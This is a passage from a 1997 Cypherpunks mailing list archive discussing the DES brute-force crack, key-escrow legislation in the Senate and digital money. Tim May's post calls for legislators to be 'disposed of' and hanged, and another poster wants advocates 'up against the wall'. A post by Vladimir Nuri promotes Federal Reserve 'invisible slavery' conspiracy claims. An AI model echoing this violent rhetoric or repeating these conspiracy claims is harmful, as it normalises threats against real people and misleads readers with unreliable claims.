is roughly comparable to a 448 bit key. RSA also has a prize for
this factorization.

Peter Trei
trei@process.com

DISCLAIMER: The above represents my opinions only, not neccesarily
those of my employer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 20 Jun 1997 00:49:44 +0800
To: cypherpunks@toad.com
Subject: Re: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
In-Reply-To: <Pine.LNX.3.91.970619094828.559E-100000@fatmans.demon.co.uk>
Message-ID: <sqZJ9D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:

> 
> 
> 
> > INetZ vice president Jon Gay said "We hope that this will encourage
> > people to demand the highest available encryption security, such as
> > the 128-bit security provided by C2Net's Stronghold product, rather
> > than the weak 56-bit ciphers used in many other platforms."
> 
> INetZ obviously hasn`t had experience of C2Net, the censorous cocksuckers 
> who send lawyer letters to security consultants who question the strength 
> of their products.
> 
> > C2Net is the leading worldwide provider of uncompromised Internet
> > security software. C2Net's encryption products are developed entirely
> > outside the United States, allowing the firm to offer full-strength
> > cryptography solutions for international communications and
> > commerce. 
> 
> C2Net also censor all dissenters over the security of their products, try 
> it if you want to prove my point, just post a message to a security forum 
> questioning the security of stronghold.

I recall reading that the Hebrew word "Amen", meaning roughly, "it is so",
comes from the name of the Egyptian god Amon.  Therefore "by Jove" is a
close English equivalent.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 20 Jun 1997 03:06:32 +0800
To: cypherpunks@Algebra.COM
Subject: New crypto bill clears committee
Message-ID: <33A98371.244@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.news.com/News/Item/0,4,11693,00.html

The fix is in...


New crypto bill clears committee 
By Alex Lash
June 19, 1997, 11 a.m. PT 

just in Just two days after it was introduced, a bill that seeks
to impose restrictions on the domestic use of encryption sailed
without hearings through the Senate Commerce Committee. 

The bill, sponsored by Commerce Committee chairman John
McCain (R-Arizona) and Bob Kerrey (D-Nebraska),
originally was a proposal floated by the White House as an
alternative to other bills that aim to lift most restrictions on
the use and export of encryption software. The Commerce
Committee passed the bill on a voice vote. Unless it is
diverted to another committee, the bill will be scheduled for a
full Senate vote. 

Privacy advocates viewed the success of the McCain-Kerrey
bill, known formally as the Secure Public Networks Act of
1997, with great concern. 

"This is majorly bad news," David Sobel, legal counsel for the
Electronic Privacy Information Center, said today. "It basically
mandates use of key recovery encryption in any federally
supported network, including universities. It also muddies the
waters for the prospects of liberalizing encryption policy, and
it's directly at odds with the SAFE bill that is moving through
the House." 

Both the SAFE bill in the House and the Pro-Code bill in the
Senate seek to ban federally mandated key recovery.
Pro-Code had early success after its reintroduction this year
but has stalled in the same committee that just passed the
McCain-Kerrey bill. 

Like the White House proposal, the McCain-Kerrey bill
seeks to impose for the first time mandatory key recovery
within the United States on top of the White House's crypto
export regulations.

Despite implementing tight domestic controls on encryption,
the bill leaves open a window for looser export controls. It
gives the Commerce Department secretary leeway to approve
the export of strong encryption software without key recovery
if similar products already or soon will be available.

The bill slams the door, however, on the possibility of
challenging a crypto export denial: "The secretary's decision
on the grounds for the grant or denial of licenses shall not be
subject to judicial review." 

The struggle over encryption policy has centered on law
enforcement access to private information transmitted
electronically or stored on computers. The government argues
that criminals will use unregulated strong encryption to keep
their plans secret. The use of key recovery requires users of
encryption software, such as secure email programs, to store
their keys in a place where the government can quickly access
them without the users' knowledge. 

The McCain-Kerrey bill would make key recovery mandatory
for all products purchased by the government and for any
product used on a network that is even partially funded by the
federal government. The bill also states that law enforcement
would require only a subpoena to access private keys,
whereas current federal regulations require a court order.

The new bill would also link digital certificates to key recovery
and grant government the authority to license digital
certificates. These certificates, which establish and verify the
identity of the sender of an encrypted communication, are
considered a critical element of electronic commerce.
However, if McCain-Kerrey becomes law, users won't be
able to obtain a government-approved certificate without
storing their keys with a third party. 

Current regulations administered by the Commerce
Department allow software makers to export encryption up to
56 bits in strength without a license or key recovery
mechanisms. That limit seems less secure, however, after
yesterday's announcement that thousands of people linked
their computers over the Internet to crack a 56-bit DES code
from RSA Data Security. 

In a report released last year, a group of leading
cryptographers recommended a minimum key length of 90 bits
to ensure secure communications.

Senior writer Janet Kornblum and reporter Courtney
Macavinta contributed to this report.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 20 Jun 1997 01:35:25 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001F962@MEX3976BCAOP1>
Message-ID: <v03007803afcf197b5cfb@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



	Two kibitizers wrote:

>> > "That DES can be broken so quickly should send a chill through the
>> >heart of anyone relying on it for secure communications,"
>>
>> I'm shitting bricks. No mention was made that only 25% of the keyspace
>> was tested.

	Then Paul Bradley <paul@fatmans.demon.co.uk> the sage moderator of
Cryptography.Uk stepped in:

>Not only that, but single DES with a 56 bit key is just not being used
>anymore in any company which has the slightest clue. If they can run a
>distributed crack on 3DES with independent subkeys then I`ll give them
>some attention.

	You've convinced me, the UK _is_ on a different planet!


      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William Casperson (Compaq)" <v-wcaspe@MICROSOFT.com>
Date: Fri, 20 Jun 1997 04:17:44 +0800
To: "'cypherpunks@toad.com>
Subject: No Subject
Message-ID: <40357F94775ECF118C2800805FD46CBD86C13D@RED-69-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Fri, 20 Jun 1997 04:40:03 +0800
To: cypherpunks@Algebra.COM
Subject: It ain't just crypto they're screwing with....
Message-ID: <199706192024.NAA10518@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain




People sometimes wonder why I'm moving toward the "just kill them all"
position, meant rhetorically, of course. (I would never, never suggest
that anyone actually kill the criminals McCain or Kerrey, or the other 533
criminals, but they have surely all richly earned whatever befalls them.)

Besides the blizzard of new crypto laws, some proposed, some passed,
similar nonsense can be found in almost every other area of life. Here in
Kalifornia, not even the cops and district attorneys seem to know what's
happening with gun laws, knife laws, insult speech laws, and so on. And
here in my little piece of Paradise, a recent law made it illegal to
"discriminate" against those with rings through their noses, studs through
their tongues, etc. (Some of you, being "punks," may actually be so
adorned. I hope you understand the deeper point that what I do with my
property, including who I hire, is my business, not the "Committee Against
Appearance Discrimination's" bussiness.)

The real problem is that the thousands of professional politicians, the
organized crime families of politics, and the hundreds of thousands of
cops, narcs, judges, bureaucrats, drones, and other criminals keep on
writing more laws, trying to patch the broken aspects of society with more
and more laws. 

Anyway, one of my occasional interests is following the knife community.
After recent warnings that the knife laws in my area may make it illegal
to carry a folding knife either in my pocket ("concealed") or clipped to
my belt ("brandishment"), I started paying close attention to what the
clowns in Sacramento are doing to resolve this situation. As might be
expected, they are screwing things up further.

As with crypto, the laws keep getting more and more complex, with layers
upon layers of cruft making nearly any interpretation a DA (District
Attorney, or Prosecuting Attorney) might want to push possible. As the
famous saying by a corrupt (as most of them are) DA went, "I could get an
indictment against a ham sandwich if I wanted one.")

Here's an insight into the knife laws in California. It makes me want to
climb a tall tower and start shooting. (I won't, of course, but I am
confirmed in my view that the politicians in Sacramento and D.C. ought to
be disposed of as quickly as possble. Hang the bastards.)

> From: James & Toni Mattis <jkmtsm@earthlink.net>
> Newsgroups: rec.knives
> Subject: Re: California cuttery enthusiasts, support AB 78
> Date: Wed, 18 Jun 1997 20:52:41 -0700

> 
> BUD LANG wrote:
> > 
> > I am publishing an article in the October 1997 edition of Knives
> > Illustrated, written by Chris Micheli, the gent in Sacramento who is
> > fighting the battle for Buck Knives. The Calif DA's association and the
> > Sheriffs are seeking to have that bill changed again. Why? They claim
> > everyone and his cousin is now on the streets using these knives in
> > combat. We all know this is bull pucky, but they want to change it back.
> > Bud
> 
> Latest news on AB78: After another conference with law & order types,
> they've removed from the bill the part that says it's OK to carry a
> fixed blade knife in a container like a backpack, toolbox, purse,
> etcetera. The part that decrminalizes folders is still there, but if you
> buy a chef's knife in the mall, you can't carry it to your car in a
> shopping bag. You'll have to carry it openly through the mall and scare
> lots of people instead. 
> 
> This isn't a stretch. The Los Angeles public defender's office has a
> pending case where they busted a homeless guy for having a steak knife
> in his backpack. Unofficial word is that he's a little too crazy to
> stand trial, but I can't get it in writing that they'll only do that to
> crazy poor people, and crazy poor people need to eat, etcetera, too.
> 
> The law is an ass. I've squawked to the lobbyist, and my squawk to some
> other people goes out tonight.
> 
> James K. Mattis
> http://home.earthlink.net/~jkmtsm
> "If the law supposes that . . . the law is a ass, a idiot" - Dickens

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 20 Jun 1997 02:32:59 +0800
To: geeman <geeman@best.com>
Subject: Re: FYI: Who owns Sen. Kerrey (LONG)
In-Reply-To: <33A959DC.5793@best.com>
Message-ID: <v03007804afcf2768b2ae@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



I suggest you wonder about McCain and Kerry-without-the-e.

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 20 Jun 1997 07:47:54 +0800
To: cypherpunks@toad.com
Subject: Re: author slip or conscious misdirection? (was Re: Declan as a Crime
In-Reply-To: <199706191810.TAA00201@server.test.net>
Message-ID: <Hu8J9D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:

> 
> 
> anonymous writes:
> > An interview with cypherpunks founder Timothy C May, Jim Bell 
> > and various other Cypherpunks also present.
> > Interview conducted by Declan McCullagh
> > ...
> 
> Excellent take almost of the quality of the Cypherpunks Enquirer's
> work.  Well done.
> 

Yes I think this was very funny!  I do wish such stuff appeared more often.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 20 Jun 1997 06:13:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
Message-ID: <199706192203.PAA25585@f30.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>Frist also introduced amendments to the McCain-Kerrey
>bill that were accepted:
>
>* Requiring that not any Federally-funded
>  communications network, but only ones established "for
>  transaction of government business" would use key
>  escrow -- thereby jumpstarting the domestic market.

Will this narrow the bill so it no longer applies to researchers,
students and others who happen to use subsidized networks?  If so,
that would take out the worst part of it.  Key escrow when you're
sending to the government isn't so bad, since the government can
read your message anyway.

"John



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 20 Jun 1997 03:25:21 +0800
To: cypherpunks@toad.com
Subject: e$: Fickle Fingers of Fate...
Message-ID: <v03020900afcf3397ae39@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 19 Jun 1997 12:47:32 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  e$: Fickle Fingers of Fate...

At 11:00 pm -0400 on 6/18/97, Tim May wrote in cypherpunks:


> Not that it matters. Face it, our words in print vanish without a trace,
> and are remembered by nobody except ourselves.

Yeah, but every once in a while the ideas stick in the head of someone
else, which is good enough for me, and, ironically, where my aforementioned
"aspirations to lethargy" regarding getting "credit" for the quote comes
from. Sometimes having people think about something is much more important
than them knowing who gave them the idea.

On the other hand, I get e-mail from people all the time for stuff I've
written or said (with attribution) in the press and on the net, and most of
those people are excited about all this new stuff they haven't heard of
before. I get quite a great kick out of that.


Sometimes, though, speaking of kicks, I do feel like I've got a "kick me"
sign on my back or something. I just got a copy of the NHK video about
Sameer, (and cryptography ;-)), and FC97 is talked about there a lot, but,
unfortunately, no real credit given to Ray Hirshfeld as conference chair
for organizing the program, or, for that matter, for myself as the the guy
whose idea FC97 was in the first place. Also, while not having read the
July Wired yet, I have heard from other people that the article reads like
FC97 was Vince Cate's idea and not mine.  On the other hand, I'm pretty
sure that the reason that Vince got front and center was because I didn't
jump out there steal it from him. ;-). Any "fault" for not making sure
proper "credit" was given is primarily my own, as the, um, promoter, of
FC97, anyway. So, maybe we should have a press conference or something next
year and put out the "official" story, just to further complicate matters.

Frankly, since Vince actually *did* do all the *work* on Anguilla itself,
as well as helping to sholder whatever financial risks there were, along
with running the money, and the transaction processing on offshore.com.ai,
and lots of other important stuff, and, since Ray and I *really* want to do
it there again next year, Vince can have all the 'credit' he wants. :-).
Especially if I get to go to Anguilla for free once a year, and, like I did
last time, walk around like I own the place. (My needs are simple, you
see...)


I do think my own powers of hucksterism are improving, though. A banking
conference organizer called yesterday, and she wanted me be a speaker at a
series of conferences in London, San Diego and Malaysia. I figured I'd do
the old digital bearer certificate "book-entry settlement is dead" bit and
scare them all a little. We'll see if she still wants me after she sees the
e$ home page and my nonexistant credentials for outraging the financial
status quo.  As usual for these things, of course, I'm not getting paid
anything but travel and room and board expenses. (Now, where's that 'kick
me' sign, again? I *know* it's back there somewhere...)

On the same terms, but for nice people anyway, Dave Birch from Hyperion is
having me fly out to London to do an electronic money conference in
October, and I'm supposed to speak at MacWorld Boston in August. In
addition, I'm going to be on a national talk radio network again pretty
soon, and I'm in the process of cranking out another rant-for-publication,
if I can just keep the thing from getting bigger every time I sit down to
work on it. Somebody's also talking about recording me doing some of my
rants for audio tape. Finally, the FC97 proceedings are just about ready,
and Springer-Verlag will have them later this summer. Since I get to edit
the introduction, I at least get to make sure they spell my name right.
:-). And, of course, the process of organizing FC98 is just starting to
get, um, organized, and that's fun to think about. (The dates for the
conference next year will be February 23-27, in case people want to save
the date.)


So, while I still haven't quite cultivated the ability to create that
completely sterile no-man's land between me and a TV camera just yet (I
heard someone say on cypherpunks that the most dangerous place in the world
was between Phill Gramm and a TV camera...), I'm having an enormous amount
of fun, attributed or not.


Oh, and I forgot e$lab. I've gotten mail from about 50 people in response
to the initial pair of rants, and we're in the process of preparing some,
er, collateral information (can't call it a business plan, really, because
whatever management team we put together will actually have to write their
own plan from scratch), to hand to people who happen to wander in too close
to Hettinga's Patented Reality Distortion Field (tm). Yeah, I know, Jobs
has one too, but mine's patented and trademarked. Something I learned from
a fellow Universalist, P.T. Barnum. Besides, the knob on my *my* reality
distortion field goes to 11.

So, I suppose, when all that 'credit' is passed around some day, I'll be
getting my share.

My next trick, though, is to get some money in the door for all this fun
I've been having. I'm starting to feel like Stephenson's Hiro Protagonist,
at the moment, though not nearly as cool. (Heck, I can't even write code.)
Nonetheless, I suppose I'm lucky I get to do what I love, though I can't
exactly describe it to people very well. Most people don't get that chance
very often. To do what they love to do, I mean.

Now, where *is* that "kick me" sign...

Cheers,
Bob Hettinga,
(currently suffering rotator cuff injuries from trying to swipe at his back
all the time...)




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 20 Jun 1997 07:06:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <v03007801afcf434c4bd2@[168.161.105.191]>
Message-ID: <199706192251.PAA01466@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:

 > Sen. John McCain (R-Ariz.), committee chair and chief
 > sponsor of the measure, led the attack, saying Congress
 > must "stop child pornography on the Internet and Internet
 > gambling. These legitimate law enforcement concerns cannot
 > and should not be overlooked or taken lightly."

This is of course an interesting suggestion, since most underage
erotica and gambling on the Net aren't encrypted in the first
place.  It reminds me of one Islamic country where the leaders
introduced television by reading the Koran over it, daring
critics to attack something that could be used to transmit the
word of God.

We have much the opposite situation here in the United States,
where any new technology is immediately judged by whether it can
be used to transmit pictures of naked children, or thwart
attempts by law enforcement to stamp them out.

 > He warned that allowing encryption to be exported would
 > permit child pornographers to use it.

Perhaps by "Child Pornographers," the good Senator means those
legally producing erotica in countries where the permissible age
is 16 or 17, as opposed to the US-Mandated Official Age of
Adulthood and Full Responsibility(tm) of 18.

Countries where, of course, would-be child pornographers use only
quality American encryption, the population of such nations being
so busy pornographing that they have no time to develop strong
encryption products of their own.

 > (At this point, one of the more deaf committee members
 > asked, "Pornography? Are we going to ban pornography?")

A memorable moment, I am sure, comparable to when Senator
Hollings attempted to pronounce "Beavis and Butt-Head."

 > After the vote, advocacy groups tried to put a good face on
 > the devastating loss -- and an expensive defeat it was.

You really can't fight Congress.  Ten minutes after you defeat a
bill and spend all your resources, it will be back on the floor
under another name and the whole thing will start over again.
After you defeat that one, you will discover that the text of the
measure got passed late one night as an ammendment to something
completely unrelated.

The government has infinite resources to harp incessantly on
anything until they engineer consent for it and get what they
want. Resistance is Futile.  You will be Assimilated.

 > "There's another day. We have confidence in the system," said
 > BSA's Robert Holleyman. CDT's Jerry Berman said, "What is
 > encouraging is that unlike the CDA other committees are getting
 > involved."

These two should be the first up against the wall when the
revolution comes.

On an unrelated note, after posting just ONE message to
cypherpunks from my new Zipcon account, my mailbox is beginning
to swell with Unsolicited Bulk Email.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 20 Jun 1997 05:21:52 +0800
To: cypherpunks@Algebra.COM
Subject: ping
Message-ID: <199706192108.QAA01415@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6mgxo9Co1n+aLhhAQGL6AQAixZikrODaTGvexNLkLn9N1Ccj6udj8xU
OnVHZ9Czqymic7za4Y+1xFiFL+93SBlZDe9lGwu6Dlj6mA7W7uje17Wszfb6+NLO
aG9p8bqp2bFD+MD6UIGSDntlTL0LiRc//0PfHCzR1ABgtEOfDRLX0Aq5JgcYL/tl
zY3VBlF4n1w=
=ALs+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 20 Jun 1997 04:32:25 +0800
To: cypherpunks@toad.com
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
Message-ID: <v03007801afcf434c4bd2@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



In the end, it was child pornography that derailed
encryption legislation in the U.S. Senate and dealt a
bitter defeat to crypto supporters. Spurred by the
chairman's denunciations of cyberporn, a majority of
the Senate Commerce Committee rejected ProCODE II this
morning -- and instead approved a bill introduced
earlier this week that creates new Federal crimes for
some uses of crypto and an all-but-mandatory key
escrow infrastructure.

Sen. John McCain (R-Ariz.), committee chair and chief
sponsor of the measure, led the attack, saying
Congress must "stop child pornography on the Internet
and Internet gambling. These legitimate law
enforcement concerns cannot and should not be
overlooked or taken lightly."

He warned that allowing encryption to be exported
would permit child pornographers to use it. "If it's
being used for child pornography? Are we going to say
that's just fine? That's it's just business? I don't
think so."

Then Sen. Kay Bailey Hutchinson (R-Tex.) chimed in,
saying she doesn't want "children to have access to
pornography or other bad types of information."

Sen. John Ashcroft (R-MO) tried to disagree. "It's like
photography. We're not going to [ban] photography if
someone takes dirty pictures." (At this point, one of
the more deaf committee members asked, "Pornography?
Are we going to ban pornography?")

Between the child-porn attack team of senators McCain,
Hollings, Kerry, and Frist, ProCODE sponsor Sen. Sen.
Conrad Burns (R-Mont.) didn't stand a chance. Hunched
over the microphone, Burns was outmaneuvered,
outprepared, and outgunned on almost every point.

Nevertheless, he introduced ProCODE II -- a so-called
compromise measure -- and was defeated 8-12. The
changes from ProCODE I gave the NSA, FBI, and CIA
oversight over crypto exports and permitted only the
export of up to 56-bit crypto products without key
escrow. Products of any strength with key escrow could
be exported freely.

That's hardly a pro-privacy, pro-encryption bill, says
the ACLU's Don Haines. "The ProCODE vote shows the
political bankruptcy of the pro-business agenda. Even
in the Commerce Committee, commerce arguments didn't
work," he says.

The committee also approved amendments proposed by
Kerry that would give jurisdiction over crypto exports
to a nine-member "Encryption Export Advisory Board."
The panel would "evaluate whether [a] market exists
abroad" and make non-binding recommendations to the
president.

Frist also introduced amendments to the McCain-Kerrey
bill that were accepted:

* Requiring that not any Federally-funded
  communications network, but only ones established "for
  transaction of government business" would use key
  escrow -- thereby jumpstarting the domestic market.

* "Requirements for a subpoenas [sic] should be no
  less stringent for obtaining keys, then [sic] for any
  other subpoenaed materials."

* Key recovery can mean recovering only a portion of
 the key "such as all but 40 bits of the key."

* NIST after consulting with DoJ and DoD will "publish
  a reference implementation plan for key recovery
  systems;" the law will not take effect until the
  president tells Congress such a study is complete.

After the vote, advocacy groups tried to put a good
face on the devastating loss -- and an expensive
defeat it was. After 15 months of lobbying, countless
hearings, backroom dealmaking, and political capital
spent, ProCODE is gutted and dead. "There's another
day. We have confidence in the system," said BSA's
Robert Holleyman. CDT's Jerry Berman said, "What is
encouraging is that unlike the CDA other committees
are getting involved."

Of course, the involvement of other committees is only
likely to add more key escrow provisions and
limitations on crypto-exports. ProCODE's replacement
-- the McCain-Kerrey bill -- now goes to the Senate
Judiciary committee, and its chairman has already been
talking about mandating key escrow in some
circumstances...

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 20 Jun 1997 09:11:19 +0800
To: cypherpunks@cyberpass.net
Subject: new money systems
Message-ID: <199706200103.SAA06874@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




I've written frequently on ideas about money here. not too long
ago I suggested that stocks are actually becoming a kind of a
currency, and that a diversity of currencies is actually
preferrable to a uniformity.

after a lot of research, I've come across some neat new technology
that cypherpunks might be interested in.

the use of money lies at the root of social interactions. what
kind of properties does that money have? those properties are
likely to influence the social interactions that ensue.

in this country, our money supply is controlled by the federal
reserve, which is actually a private banking system. there
are some people who claim that key parts of it are being
kept secret from the public, such as the controlling interests.
there is definitely little doubt that board meetings of the fed
are held in the strictest of secrecy.

in the computer industry, all software and hardware is moving
toward open standards. could this ideal translate to our money system
as well? I suspect it can.

some very reputable people are beginning to reexamine our money
system and conclude that it is not that we are competing for
scarce resources via money, but that we are competing for scarce money
utilizing resources in the process. this involves the problem of
creating money and then charging interest on this fictitious 
entity, as opposed to charging interest on money that is actually
backed by energy and not debt.

after a lot of study I've concluded that the entire money system
functions like a massive electrical circuit. this is related to
ideas presented in a mysterious document called "silent weapons
for quiet wars" which I highly recommend to anyone on the list.
some will claim it is fraudulent, but I've decided the ideas
it presents are extremely genuine, regardless of the source or
motives behind the writing.

in an electrical circuit, you have the problem of resistence
gumming up the works. engineers spend their entire lives trying
to squeeze electrical efficiency out of their devices. yet
the largest electrical circuit of all, of the greatest importance
to the health and well-being of the entire planet, I believe
has gone largely unexamined. quite possibly the electrical circuit
that comprises our world economy has large amounts of undesirable
resistance. this manifests in a very subtle way-- not direclty as
inflation, not interest rates, but as a difficulty in obtaining money.
in a system with less resistance, money would actually be easier to obtain.

and in fact many have reason to 
believe the world economy has been intentionally designed/manipulate to have
undesirable properties, such as creating an invisible and
undetectable slavery.

imagine that I have a rat on a wheel, and I am using its power to
drive my machines. part of the energy the rat expends goes into 
moving food pellets into its box. but the remaining energy I siphon
off for my own ends. the rat does not realize that it doesn't in theory
have to expend as much energy as it is doing to live, and does not
question its existence as long as it lives. but I can use this energy
for my own agenda.

would it be possible to create such a system using money? are 
*we* the rats on the treadmill? is all our money energy going toward
feeding ourselves, or is some of it being siphoned off? others who
have written intelligently on the subject are suggesting exactly that--
that a system of invisible slavery is now in existence and actually
pervades our culture. it is involved in the way the fed creates
money and manipulates interest rates, charging interest on money
that isn't truly backed by energy.

consider these questions:

1. why is it that even as our economy becomes "more productive", we
have to work harder? families now require more than one wage earner
when before they did not?

2. there are statistics that show in earlier times, it took [x]
farmers to produce the food for the population, such that the ratio
was something like 1 to 2 or so. now the ratio is nearly 1 to 60
or greater. why does this not translate into more free time for
everyone? could it be there is a means by which some entity can
siphon off our spare energy and time?

3. if someone is siphoning off energy from *everyone* simultaneously,
could it be detected in our system? how?


==

what's the solution? some are looking toward "alternative" or "local"
currencies. there are some cases such that local communities experienced
more efficient economies when they resorted to local currencies out
of desperation. 

this has extreme relevance to the cypherpunk ideals of trying to
extricate oneself from the "powers that be" and be a sovereign 
individual, particularly using technical means. it is possible that
new kinds of digital currencies will flourish, and that will not
be tied to what appears to be a very sinister system involving
the federal reserve.

some interesting ideas in new money, including digital cash,
 can be found at www.transaction.net

also, there is a system called "LETS" (local exchange transaction
system) that is getting more exposure and acceptance.

I believe that in the future there will be more and more propaganda
relative to money systems, and I hope that those here will have
a head start in understanding the secret agendas of others.

I hope others will post on this subject in the future. as I say, I believe
it is of extreme cypherpunk relevance.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Fri, 20 Jun 1997 06:22:05 +0800
To: stewarts@ix.netcom.com
Subject: Re: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <3.0.2.32.19970619093902.00759df0@popd.ix.netcom.com>
Message-ID: <199706192209.SAA25466@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Bill Stewart wrote :

> On the other hand, DES really is _much_ weaker than the DESCHALL
> project indicates - Intel CPUs aren't at all tuned for DES cracking,
> whereas a custom DES-cracker with similar horsepower could have
> done the job a lot faster.  If I remember right, Wiener's design
> used 64,000 chips, about as many as there were PCs working DESCHALL,
> for a crack that would take hours instead of months.

	The way I like to look at it, it should be easy these days to do
a  compiled custom chip deeply pipelined enough to try one key per
clock.  And ASICs running at 200 mhz aren't that uncommon these days.  
That is one key every 5 nanoseconds, or .2 billion keys a second, thus
only aout 40  of these chips ( a medium size board's worth which could
sit in a single  PC slot) could equal the maximum rate the huge
distributed cracked attained as documented in  Sameer's press release.


							Dave Emery
							die@die.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 20 Jun 1997 09:19:53 +0800
To: cypherpunks@Algebra.COM
Subject: "how washington is strangling america"
Message-ID: <199706200113.SAA08147@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

From: chasm@insync.net (Schuetzen)
